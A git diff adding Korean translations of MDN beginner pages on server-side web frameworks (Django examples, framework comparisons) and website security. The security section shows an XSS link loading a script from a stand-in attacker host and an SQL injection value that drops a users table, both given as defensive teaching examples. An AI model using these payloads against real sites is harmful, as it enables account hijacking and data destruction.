+ <li>기본적인 데이터의 확인은 프레임워크 안에서 구현 될 수 있습니다. 이를 통해  올바른 타입의 데이터베이스 필드에 데이터를 저장하는지, 올바른 타입인지(예: 이메일 주소), 악의적인 방식 (크래커는 특정 코드 패턴을 사용하여 데이터베이스 레코드를 지우는 것과 같은 나쁜 행동을 할 수 있습니다)인지 쉽고 안전하게 확인 할 수 있습니다.</li>
+</ul>
+
+<p>예를들어 Django 웹 프레임워크는 ORM을 제공하고 레코드 구조 모델로 정의하는데  사용한 객체를 참조합니다. 모델은 저장 될 필드 유형을 지정하며, 저장 될 수있는 정보에 대한 필드 레벨 검증을 제공 할 수 있습니다(예 : 이메일 입력란은 유효한 이메일 주소 만 허용). 또한 필드 정의는 최대 크기, 기본 값, 선택 목록 옵션, 문서를 위한 도움말, 양식 레이블 텍스트 등을 지정할 수도 있습니다. 모델은 코드와 별도로 변경 될 수있는 구성 설정이므로 기본 데이터베이스에 대한 정보는 명시하지 않습니다.</p>
+
+<p>첫번째 코드 스니펫은 아래에 보이는 매우 간단한 <code>Django</code> 모델인 <code>Team</code>객체 입니다. 이 객체는 팀 이름과 팀의 레벨을 문자 필드로 저장하고 각각의 레코드마다 최대 한도의 문자 길이를 저장 합니다. <code>team_level</code>은 선택 필드이므로 우리는 디폴트 값과 함께 표시할 선택 항목과 데이터를 저장하는 것 사이를 매핑하는 것을 제공합니다. </p>
+
+<pre class="brush: python">#best/models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11, 'Under 11s'),
+        ...  #list our other teams
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+</pre>
+
+<p>Django 모델은 데이터베이스 검색을 위한 간단한 쿼리를 제공 합니다. 다른 기준을 사용하여 한 번에 여러 필드와 일치시킬 수 있습니다. (예 : 대소 문자를 구분하지 않음,보다 큼, 등), 그리고 복잡한 명령문을 지원 할 수 있습니다 (예를 들어 당신이 "Fr"로 시작하거나 "al"로 끝나는 특별한 U11팀을 찾을 수 있습니다). </p>
+
+<p>두번째 코드 스니펫은 U09의 모든 팀을 보여주는 view function(요청 핸들러)을 보겠습니다.  이 경우 우리는 <code>team_level</code> 필드의 텍스트가 정확히 'U09'인 모든 레코드를 필터링하도록 지정합니다. ( 이 기준이 필드 이름과 일치 유형이 두 개의 밑줄로 구분 된 인수로 <code>filter()</code> 함수에 전달되는 방법을 아래에 기록하십시오. team_level__exact ).</p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def youngest(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
+<h3 id="Rendering_data">Rendering data</h3>
+
+<p>웹 프레임워크는 종종 템플릿 시스템을 제공합니다. 이것은 페이지가 생성될 때 데이터를 추가하기 위한 자리 표시 자를 사용하여 출력 문서 구조를 지정 할 수 있습니다. 템플릿들은 보통 HTML로 만들어지지만, 다른 형식의 문서로도 작성될 수 있습니다.</p>
+
+<p>웹 프레임워크는 보통 저장된 데이터를 다른 형식으로 쉽게 생성 할 수 있는,{{glossary("JSON")}}, {{glossary("XML")}}을 포함한, 틀을 제공합니다.</p>
+
+<p>예를들어, Django 템플릿 시스템은 구체화된 "double-handlebars" 구조 (예를 들어 <code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code>)를 사용하도록 허용하는데, 이것은 페이지가 로딩될 때 뷰 함수의 값들로 대체될 수 있습니다.  템플릿 시스템은 또한 다양한 표현식을 지원하는데 (예를 들어 : <code>{% <em>expression</em> %}</code>), 템플리트가 템플리트에 전달 된 목록 값을 반복하는 것과 같은 간단한 조작을 수행 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 다른 대부분의 템플릿 시스템들은 비슷한 문법을 사용합니다, 예: Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), 등등.</p>
+</div>
+
+<p>아래의 코드 스니펫은 그것이 어떻게 작동 하는지 보여줍니다. 이전 섹션에 사용한 "youngest team" 예제를 다시 보겠습니다, HTML 템플릿은 뷰에서 <code>youngest_teams</code>이라고 불리는 목록 변수를 전달 받습니다. HTML 골격 내에는 <code>youngest_teams</code>이 있는지 체크하는 표현식이 있고, 있다면 <code>for</code> 루프를 통해 반복문을 만드는 것을 볼 수 있습니다. 각 반복당 템플릿은 팀리스트에 있는  <code>team_name</code>을 출력해줍니다.</p>
+
+<pre class="brush: html">#best/templates/best/index.html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;body&gt;
+
+ {% if youngest_teams %}
+    &lt;ul&gt;
+    {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+    {% endfor %}
+    &lt;/ul&gt;
+{% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+{% endif %}
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="웹프레임워크를_선택하는_방법">웹프레임워크를 선택하는 방법</h2>
+
+<p>여러분이 쓰고싶은 언어 대부분에 많은 웹 프레임워크들이 존재합니다(그중 보다 인기 있는 몇개의 프레임워크들을 다음 섹션에 나열합니다). 선택의 폭이 넓어지기 때문에 새로운 웹 애플리케이션을위한 최고의 출발점을 제공하는 프레임워크를 찾기가 어려울 수 있습니다.</p>
+
+<p>여러분의 선택에 영향을 줄 수 있는 요인은 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>학습 노력 :</strong> 웹 프레임워크를 배우기 위한 노력은 당신이 얼마나 프로그래밍 언어에 익숙한지, 그 언어의 API가 일관성 있는지, 그 언어의 문서의 품질이 괜찮은지, 그리고 그 언어의 커뮤니티의 크기와 활동량에 따라 다릅니다. 만약 여러분이 아무런 프로그래밍 경험이 없다면, 장고를 고려해보세요(장고는 위의 기준에 맞는 가장 배우기 쉬운 프레임 워크입니다). 만약 여러분이 개발팀의 일원이며 이미 특정 웹프레임워크와 언어에 상당한 경험이 있다면, 그것에 충실하는 것이 좋습니다.</li>
+ <li><strong>생산성:</strong> 생산성은 프레임 워크에 익숙해지면 얼마나 빨리 새 기능을 만들 수 있는지 측정하는 척도이며 코드를 작성하고 유지 관리하는 노력(이전 기능이 손상된 상태에서 새 기능을 작성할 수 없기 때문에)을 모두 포함합니다. "학습 노력"에서 다루었던 요인들과 비슷한 많은 요인들이 생산성에 영향을 미칩니다. — 예를들어 문서, 커뮤니티, 프로그래밍 경험 등. — 다른 요인들:
+  <ul>
+   <li><em>프레임워크의 목적/출처</em>: 몇몇 웹 프레임워크들은 처음엔 특정 타입의 문제들을 풀기위해 만들어졌고, 여전히 비슷한 제약조건을 가진 웹앱을 만드는 데 좋습니다. 예를 들어 Django는 신문형식의 웹사이트 개발을 지원하기 위해 만들어졌기 때문에 블로그나 무언가를 출판하는 사이트들에 쓰기 좋습니다. 반대로 Flask는 모다 가벼운 무게의 프레임워크이고 임베디드 장치에서 실행되는 웹앱을 만드는데 좋습니다.</li>
+   <li><em>의도적인 vs 의도를 갖지 않는</em>: 의도적인 프레임워크는 특정유형의 문제를 풀기에 가장 좋은 방법으로 추천됩니다. 의도적인 프레임워크들은 일반적인 문제들을 풀려고 할 때 생산적으로 기능하기 때문에 여러분을 옳은 방향으로 이끌어주지만 유연성이 부족하기도 합니다.</li>
+   <li><em>배터리 포함 vs 직접 구매</em>: 몇몇 웹프레임워크는 개발자들이 "기본 적으로" 생각할 수 있는 모든 문제들을 해결하는 툴과 라이브러리를 포함합니다. 반면에 보다 가벼운 프레임웨크들은 웹개발자들이 직접 분리된 라이브러리들을 고르고 쓰기를 기대합니다. (Django는 전자의 예고 Flask는 아주 가벼운 프레임워크의 예입니다). 모든 것을 포함하는 프레임워크는 여러분이 필요한 모든 것을 이미 가지고 있고, 잘 병합/문서화되어있어 종종 시작하기에 더 쉽습니다. 그러나 더 작은 프레임 워크에 필요한 모든 것이 있다면 제약이 많은 환경에서 실행할 수 있으며 배우기에 더 작고 쉬울 것입니다. </li>
+   <li><em>프레임워크는 좋은 개발 관행을 장려 할 수 있습니다: </em>예를 들어,  <br>
+    <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model-View-Controller</a> 아키텍처를 권장하는 프레임 워크는 코드를 로직 함수로 분리하여 개발자에게 기대하지 않는 코드보다 더 유지 관리가 쉬운 코드가 생성됩니다. 비슷하게도, 프레임워크의 디자인은 테스트 하기 쉽고 재사용 하기 쉬운 코드를 만드는데에 큰 영향을 줄 수 있습니다.</li>
+  </ul>
+ </li>
+ <li><strong>프레임워크/프로그래밍 언어의 성능:</strong> 종종 "속도"는 선택의 중요한 한 요소가 되지 않습니다. 왜냐하면  Python과 같은 비교적 느린 런타임도 중간정도의 하드웨어에서 실행되는 중간 크기의 사이트에서 사용 하기에 "충분" 이상으로 좋기 때문입니다. 속도에 강점이 있는 언어들(예: C++ 또는 JavaScript)은 교육 비용이나 유지 비용에 의해 상쇄 될 수 있습니다.</li>
+ <li><strong>캐싱 지원:</strong> 웹 사이트가 더욱 성공적이 되면 당신은 웹 사이트에 액세스 할 때 수신하는 요청 수에 더 이상 대처할 수 없다는 것을 알게 될 것입니다. 이 시점에 캐싱 지원을 추가하는 것을 고려 할 수 있습니다. 캐싱은 웹 요청의 전체 또는 일부를 저장하여 후속 요청에서 다시 계산할 필요가 없도록하는 최적화 방법 입니다. 캐시된 요청에 대한 응답은 처음에 요청을 계산하는 것보다 훨씬 빠릅니다. 캐싱은 당신의 코드에 구현 하거나 서버에 구현 할 수 있습니다(<a href="https://en.wikipedia.org/wiki/Reverse_proxy">reverse proxy</a>를 참조하세요). 웹 프레임 워크는 캐시 할 수있는 컨텐츠를 정의하기 위해 서로 다른 레벨의 지원을 제공합니다.</li>
+ <li><strong>확장성:</strong> 웹 사이트가 환상적인 성공을하면 캐싱의 이점을 모두 활용하고 <em>수직 확장(</em>웹 애플리케이션을 보다 강력한 하드웨어에서 실행<em>)</em>의 한계에 도달 할 수 있습니다. 이 시점에서 일부 고객은 서버와 멀리 떨어져 있기 때문에 <em>수평 확장</em>(여러 웹 서버와 데이터베이스에 사이트를 분산 시켜서 부하를 공유)하거나 "지리적으로" 확장해야 할 수도 있습니다. 선택한 웹 프레임워크는 사이트 확장을 쉽게 하는지에 대해 큰 차이를 만들 수 있습니다.</li>
+ <li><strong>웹 보안:</strong> 어떤 웹 프레임워크는 일반적인 웹 공격 처리에 대한 더 나은 지원을 제공 합니다. 장고을 예를 들자면 사용자 입력에 들어간 모든 HTML 템플릿을 삭제하여 사용자가 작성한 JavaScript를 실행하지 못하게 합니다. 다른 프레임 워크도 유사한 보호 기능을 제공하지만 기본적으로 항상 활성화되어있는 것은 아닙니다.</li>
+</ul>
+
+<p>라이센싱, 프레임워크가 활발하게 개발 중인지 여부 등 여러 가지 가능한 요소가 있습니다.</p>
+
+<p>프로그래밍을 처음 접하는 생초보라면 "학습 편의성"에 따라 프레임 워크를 선택하게 될 것입니다. 언어 자체의 "사용 편의성"외에도 고품질 문서 / 자습서 및 새로운 사용자를 돕는 활동적인 커뮤니티가 가장 소중한 리소스입니다. 우리는 <a href="https://www.djangoproject.com/">Django</a> (Python) 와 <a href="http://expressjs.com/">Express</a> (Node/JavaScript)를 선택하여 강의 후반에 예제를 작성했습니다. 배우기 쉽고 지원을 잘 받고 있기 때문입니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://www.djangoproject.com/">Django</a> (Python) 와 <a href="http://expressjs.com/">Express</a> (Node/JavaScript)의 메인 웹사이트로 가보십시오, 그리고 문서와 커뮤니티를 확인하십시오.</p>
+
+<ol>
+ <li>(위 링크들의) 메인 사이트를 둘러보기
+  <ul>
+   <li>Documentation 메뉴에 링크들(Documentation, Guide, API Reference, Getting Started등)을 클릭해보십시오.</li>
+   <li>URL routing, templates, and databases/models등을 설정하는 주제들이 보이십니까?</li>
+   <li>해당 문서들은 명료하게 작성이 되어있습니까?</li>
+  </ul>
+ </li>
+ <li>각각의 사이트에서 mailing lists(해당 커뮤니티의 링크들을 통해서 접근할 수 있습니다)를 둘러보기
+  <ul>
+   <li>지난 며칠동안 얼마나 많은 질문들이 올라왔습니까?</li>
+   <li>얼마나 많은 답변이 있습니까?</li>
+   <li>왕성한 활동을 보이는 커뮤니티를 갖고 있습니까?</li>
+  </ul>
+ </li>
+</ol>
+</div>
+
+<h2 id="A_few_good_web_frameworks">A few good web frameworks?</h2>
+
+<p>더 나아가, 몇몇 server-side 웹 프레임워크들에 대해 다루어보겠습니다.</p>
+
+<p>밑에 있는 server-side 프레임워크들은 이 글을 쓰는 시점에 인기 있는 프레임워크들 중 일부입니다. 몇이 프레임워크들은 생산성을 위해 필요한 것들을 갖추었습니다. — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites. 인터넷 검색을 통해 여기서 언급하지 않은 좋은  프레임워크들 찾을 수 있습니다. </p>
+
+<p><strong>Note</strong>: 여기에 기술되어있는 (일부) 내용들은 프레임워크의 사이트로부터 왔습니다!</p>
+
+<h3 id="Django_Python">Django (Python)</h3>
+
+<p><a href="https://www.djangoproject.com/">Django</a> is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.</p>
+
+<p>Django follows the "Batteries included" philosophy and provides almost everything most developers might want to do "out of the box". Because everything is included, it all works together, follows consistent design principles, and has extensive and up-to-date documentation. It is also fast, secure, and very scalable. Being based on Python, Django code is easy to read and to maintain.</p>
+
+<p>Popular sites using Django (from Django home page) include: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</p>
+
+<h3 id="Flask_Python">Flask (Python)</h3>
+
+<p><a href="http://flask.pocoo.org/">Flask</a> is a microframework for Python. </p>
+
+<p>While minimalist, Flask can create serious websites out of the box. It contains a development server and debugger, and includes support for <a href="https://github.com/pallets/jinja">Jinja2</a> templating, secure cookies, <a href="https://en.wikipedia.org/wiki/Unit_testing">unit testing</a>, and <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a> request dispatching. It has good documentation and an active community. </p>
+
+<p>Flask has become extremely popular, particularly for developers who need to provide web services on small, resource-constrained systems (e.g. running a web server on a <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Drone controllers</a>, etc.)</p>
+
+<h3 id="Express_Node.jsJavaScript">Express (Node.js/JavaScript)</h3>
+
+<p><a href="http://expressjs.com/">Express</a> is a fast, unopinionated, flexible and minimalist web framework for <a href="https://nodejs.org/en/">Node.js</a> (node is a browserless environment for running JavaScript). It provides a robust set of features for web and mobile applications and delivers useful HTTP utility methods and <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Middleware">middleware</a>.</p>
+
+<p>Express is extremely popular, partially because it eases the migration of client-side JavaScript web programmers into server-side development, and partially because it is resource-efficient (the underlying node environment uses lightweight multitasking within a thread rather than spawning separate processes for every new web request). </p>
+
+<p>Because Express is a minimalist web framework it does not incorporate every component that you might want to use (for example, database access and support for users and sessions are provided through independent libraries). There are many excellent independent components, but sometimes it can be hard to work out which is the best for a particular purpose! </p>
+
+<p>Many popular server-side and full stack frameworks (comprising both server and client-side frameworks) are based on Express, including <a href="http://feathersjs.com/">Feathers</a>, <a href="https://www.itemsapi.com/">ItemsAPI</a>, <a href="http://keystonejs.com/">KeystoneJS</a>, <a href="http://krakenjs.com/">Kraken</a>, <a href="http://loopback.io/">LoopBack</a>, <a href="http://mean.io/">MEAN</a>, and <a href="http://sailsjs.org/">Sails</a>.</p>
+
+<p>A lot of high profile companies use Express, including: Uber, Accenture, IBM, etc. (a list is provided <a href="http://expressjs.com/en/resources/companies-using-express.html">here</a>).</p>
+
+<h3 id="Ruby_on_Rails_Ruby">Ruby on Rails (Ruby)</h3>
+
+<p><a href="http://rubyonrails.org/">Rails</a> (usually referred to as "Ruby on Rails") is a web framework written for the Ruby programming language.</p>
+
+<p>Rails follows a very similar design philosophy to Django. Like Django it provides standard mechanisms for routing URLs, accessing data from a database, generating HTML from templates and formatting data as {{glossary("JSON")}} or {{glossary("XML")}}. It similarly encourages the use of design patterns like DRY ("dont repeat yourself" — write code only once if at all possible), MVC (model-view-controller) and a number of others.</p>
+
+<p>There are of course many differences due to specific design decisions and the nature of the languages.</p>
+
+<p>Rails has been used for high profile sites, including:<strong> </strong><a href="https://basecamp.com/">Basecamp</a>, <a href="https://github.com/">GitHub</a>, <a href="https://shopify.com/">Shopify</a>, <a href="https://airbnb.com/">Airbnb</a>, <a href="https://twitch.tv/">Twitch</a>, <a href="https://soundcloud.com/">SoundCloud</a>, <a href="https://hulu.com/">Hulu</a>, <a href="https://zendesk.com/">Zendesk</a>, <a href="https://square.com/">Square</a>, <a href="https://highrisehq.com/">Highrise</a>.</p>
+
+<h3 id="Laravel_PHP">Laravel (PHP)</h3>
+
+<p><a href="https://laravel.com/">Laravel</a> is a web application framework with expressive, elegant syntax. Laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as:</p>
+
+<ul>
+ <li><a href="https://laravel.com/docs/routing" rel="nofollow">Simple, fast routing engine</a>.</li>
+ <li><a href="https://laravel.com/docs/container" rel="nofollow">Powerful dependency injection container</a>.</li>
+ <li>Multiple back-ends for <a href="https://laravel.com/docs/session" rel="nofollow">session</a> and <a href="https://laravel.com/docs/cache" rel="nofollow">cache</a> storage.</li>
+ <li>Expressive, intuitive <a href="https://laravel.com/docs/eloquent" rel="nofollow">database ORM</a>.</li>
+ <li>Database agnostic <a href="https://laravel.com/docs/migrations" rel="nofollow">schema migrations</a>.</li>
+ <li><a href="https://laravel.com/docs/queues" rel="nofollow">Robust background job processing</a>.</li>
+ <li><a href="https://laravel.com/docs/broadcasting" rel="nofollow">Real-time event broadcasting</a>.</li>
+</ul>
+
+<p>Laravel is accessible, yet powerful, providing tools needed for large, robust applications.</p>
+
+<h3 id="ASP.NET">ASP.NET</h3>
+
+<p><a href="http://www.asp.net/">ASP.NET</a> is an open source web framework developed by Microsoft for building modern web applications and services. With ASP.NET you can quickly create web sites based on HTML, CSS, and JavaScript, scale them for use by millions of users and easily add more complex capabilities like Web APIs, forms over data, or real time communications.</p>
+
+<p>One of the differentiators for ASP.NET is that it is built on the <a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">Common Language Runtime</a> (CLR), allowing programmers to write ASP.NET code using any supported .NET language (C#, Visual Basic, etc.). Like many Microsoft products it benefits from excellent tools (often free), an active developer community, and well-written documentation.</p>
+
+<p>ASP.NET is used by Microsoft, Xbox.com, Stack Overflow, and many others.</p>
+
+<h3 id="Mojolicious_Perl">Mojolicious (Perl)</h3>
+
+<p><a href="http://mojolicious.org/">Mojolicious</a> is a next generation web framework for the Perl programming language.</p>
+
+<p>Back in the early days of the web, many people learned Perl because of a wonderful Perl library called <a href="https://metacpan.org/module/CGI">CGI</a>. It was simple enough to get started without knowing much about the language and powerful enough to keep you going. Mojolicious implements this idea using bleeding edge technologies.</p>
+
+<p>Some of the features provided by Mojolicious are: <strong>Real-time web framework</strong>, to easily grow single file prototypes into well-structured MVC web applications; RESTful routes, plugins, commands, Perl-ish templates, content negotiation, session management, form validation, testing framework, static file server, CGI/<a href="http://plackperl.org/">PSGI</a> detection, first class Unicode support; Full stack HTTP and WebSocket client/server implementation with IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, multipart and gzip compression support; JSON and HTML/XML parsers and generators with CSS selector support; Very clean, portable and object-oriented pure-Perl API with no hidden magic; Fresh code based upon years of experience, free and open source.</p>
+
+<h3 id="Spring_Boot_Java">Spring Boot (Java)</h3>
+
+<p><a href="https://spring.io/projects/spring-boot">Spring Boot</a> is one of a number of projects provided by <a href="http://spring.io/">Spring</a>. It is a good starting point for doing server-side web development using <a href="https://www.java.com/">Java</a>.</p>
+
+<p>Although definitely not the only framework based on <a href="https://www.java.com/">Java</a> it is easy to use to create stand-alone, production-grade Spring-based Applications that you can "just run". It is an opinionated view of the Spring platform and third-party libraries but allows to start with minimum fuss and configuration.</p>
+
+<p>It can be used for small problems but its strength is building larger scale applications that use a cloud approach. Usually multiple applications run in parallel talking to each other, with some providing user interaction and others just do back end work (e.g. accessing databases or other services).  Load balancers help to ensure redundancy and reliability or allow geolocated handling of user requests to ensure responsiveness.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has shown that web frameworks can make it easier to develop and maintain server-side code. It has also provided a high level overview of a few popular frameworks, and discussed criteria for choosing a web application framework. You should now have at least an idea of how to choose a web framework for your own server-side development. If not, then don't worry — later on in the course we'll give you detailed tutorials on Django and Express to give you some experience of actually working with a web framework.</p>
+
+<p>For the next article in this module we'll change direction slightly and consider web security.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/first_steps/website_security/index.html b/files/ko/learn/server-side/first_steps/website_security/index.html
new file mode 100644
index 0000000000..6fcc0fbb56
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/website_security/index.html
@@ -0,0 +1,164 @@
+---
+title: Website security
+slug: Learn/Server-side/First_steps/Website_security
+tags:
+  - 가이드
+  - 보안
+  - 서버측 프로그래밍
+  - 웹 보안
+  - 초보자
+  - 학습
+translation_of: Learn/Server-side/First_steps/Website_security
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">웹사이트 보안은 설계와 사용의 모든 측면에서 주의를 기울여야 한다. 이 글은 입문자용이므로 당신을 웹사이트 보안 전문가로 만들어주지는 않지만, 보안 위협 요소가 어디에서 발생하는지와, 가장 일반적인 공격으로부터 웹 응용 프로그램을 어떻게 강화할 수 있는지 이해하는데 도움을 줄 것이다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 요구 지식 :</th>
+   <td>기본적인 컴퓨터 활용 능력.</td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표 :</th>
+   <td>
+    <p>웹 애플리케이션 보안을 위협하는 가장 일반적인 요소들과, 해킹 당할 위험을 줄이는 방법을 이해한다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="웹사이트_보안이란_무엇인가">웹사이트 보안이란 무엇인가?</h2>
+
+<p>인터넷은 위험한 곳이다! 구체적인 사례로, 우리는 정기적으로 웹사이트가 서비스 거부 공격으로 마비되거나, 홈페이지에 수정된 (그리고 종종 위해한) 정보가 게시된 소식을 듣는다. 또 다른 영향력이 큰 사례로, 수백만 개의 비밀번호, 이메일 주소, 신용카드 정보가 공용 도메인으로 유출되어, 웹사이트 사용자들에게 심리적 당혹감과 경제적인 위험을 유발한다.</p>
+
+<p>웹사이트 보안의 목적은 이러한 (또는 어떤) 종류의 공격을 방지하는 것이다. 딱딱하게 말하자면, <em>웹사이트 보안이란, 비승인된 접근, 사용, 수정, 파괴, 중단으로부터 웹사이트를 보호하는 행동 또는 실행을 가리킨다.</em></p>
+
+<p>웹사이트 보안을 효과적으로 하기 위해서는 웹사이트를 설계하는 과정의 전반에 걸쳐 노력을 기울여야 한다: 웹 애플리케이션에서, 웹 서버 설정에서, 비밀번호를 생성하고 재발급하는 정책에서, 클라이언트측 코드에서 말이다. 이 말이 보안에 필요한 많은 작업들을 당신이 직접 세세하게 해주어야 한다는 불길한 말로 들릴 수 있다. 하지만 다행스럽게도 서버측 웹 프레임워크를 사용한다면, 일반적인 보안 공격에 대해 이미 견고하고 잘 검증 된 방어 메커니즘이 "기본으로" 제공된다. 다른 공격들은 HTTPS를 활성화하는 등의 웹 서버 설정을 통해 방지할 수 있다. 마지막으로, 공개된 취약점 스캐너 도구를 사용하여 알려진 보안 실수들은 잡아낼 수 있을 것이다.</p>
+
+<p>이 글의 나머지 부분은 몇 가지 일반적인 보안 위협들과 사이트를 보호하기 위해 취할 수 있는 간단한 지침들을 제공한다.</p>
+
+<p><strong>Note</strong>: 입문자를 위한 주제이고, 웹사이트 보안에 대해 처음 생각해보는 이들을 돕기 위해 작성되었다. 완전하지 않으니 유의하길 바란다.</p>
+
+<h2 id="웹사이트_보안_위협들">웹사이트 보안 위협들</h2>
+
+<p>이 부분은 몇가지 일반적인 웹사이트 위협 요소들의 목록과 그 위협들을 어떻게 최소화할 수 있는지를 다룬다. 다음을 상기하며 읽자. 브라우저에서 전달되는 데이터를 신뢰하기만 하고 <em>충분한 피해망상을 가지지 않으면 </em>보안 위협 요소는 꼭 성공한다는 것을 상기해두자.</p>
+
+<h3 id="사이트_간_스크립팅_(Cross-Site_Scripting_XSS)">사이트 간 스크립팅 (Cross-Site Scripting, XSS)</h3>
+
+<p>XSS는 공격자가 클라이언트 측 스크립트를 웹 사이트에 삽입하여 다른 사용자의 부라우저에서 수행되게 하는 공격의 유형을 말한다. 삽입된 코드는 웹 사이트에서 피해 사용자의 브라우저로 전송이 됨으로 피해 사용자에게 의심받지 않는다. 따라서, 그 삽입된 코드는 피해 사용자의 사이트 권한 쿠키를 공격자에게 보내는 종류의 악성 작업을 수행할 수 있다. 그리고 그것을 전달 받은 공격자는 마치 피해 사용자인 것처럼 위장하여 사이트에 로그인하고 피해 사용자가 할 수 있는 모든 작업을 수행할 수 있다. 가령, 신용 카드 세부 정보에 접근하거나, 연락처 세부 정보를 확인하거나, 암호를 변경하는 작업 등을 수행할 수 있다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: XSS 취약점은 전통적으로 다른 유형보다 일반적이었다.</p>
+</div>
+
+<p>삽입된 스크립트를 브라우저에 반환하도록 사이트를 속이는 데에는 두 가지 주요 접근방법이 있다. 그것은 반사적 XSS 취약점과 지속적 XSS 취약점이다.</p>
+
+<ul>
+ <li>A <em>reflected</em> XSS vulnerability occurs when user content that is passed to the server is returned <em>immediately</em> and <em>unmodified</em> for display in the browser — any scripts in the original user content will be run when the new page is loaded!<br>
+  For example, consider a site search function where the search terms are encoded as URL parameters, and these terms are displayed along with the results. An attacker can construct a search link containing a malicious script as a parameter (e.g. <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt;</code>) and email it to another user. If the target user clicks this "interesting link", the script will be executed when the search results are displayed. As discussed above, this gives the attacker all the information they need to enter the site as the target user — potentially making purchases as the user or sharing their contact information.</li>
+ <li>A <em>persistent</em> XSS vulnerability is one where the malicious script is <em>stored</em> by the website and then later redisplayed unmodified for other users to unwittingly execute.<br>
+  For example, a discussion board that accepts comments containing unmodified HTML could store a malicious script from an attacker. When the comments are displayed the script is executed and can then send the attacker information required to access the user's account. This sort of attack is extremely popular and powerful, because the attacker doesn't have to have any direct engagement with the victims.<br>
+  <br>
+  While <code>POST</code> or <code>GET</code> data is the most common source of XSS vulnerabilities, any data from the browser is potentially vulnerable (including cookie data rendered by the browser, or user files that are uploaded and displayed).</li>
+</ul>
+
+<p>The best defence against XSS vulnerabilities is to remove or disable any markup that can potentially contain instructions to run code. For HTML this includes tags like <code>&lt;script&gt;</code>, <code>&lt;object&gt;</code>, <code>&lt;embed&gt;</code>, and <code>&lt;link&gt;</code>.</p>
+
+<div>
+<p>The process of modifying user data so that it can't be used to run scripts or otherwise affect the execution of server code is known as input sanitization. Many web frameworks automatically sanitize user input from HTML forms by default.</p>
+</div>
+
+<h3 id="SQL_injection">SQL injection</h3>
+
+<p>SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified or deleted irrespective of the user's permissions. A successful injection attack might spoof identities, create new identities with administration rights, access all data on the server, or destroy/modify the data to make it unusable.</p>
+
+<p>This vulnerability is present if user input that is passed to an underlying SQL statement can change the meaning of the statement. For example, consider the code below, which is intended to list all users with a particular name (<code>userName</code>) that has been supplied from an HTML form:</p>
+
+<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre>
+
+<p>If the user enters a real name, this will work as intended. However a malicious user could completely change the behaviour of this SQL statement to the new statement below, simply by specifying the "<strong>bold</strong>" text below for the <code>userName</code>. The modified statement creates a valid SQL statement that deletes the <code>users</code> table and selects all data from the <code>userinfo</code> table (revealing the information of every user). This works because the first part of the injected text (<code>a';</code>) completes the original statement (' is the symbol to deliniate a string literal in SQL).</p>
+
+<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't'</strong>;
+</pre>
+
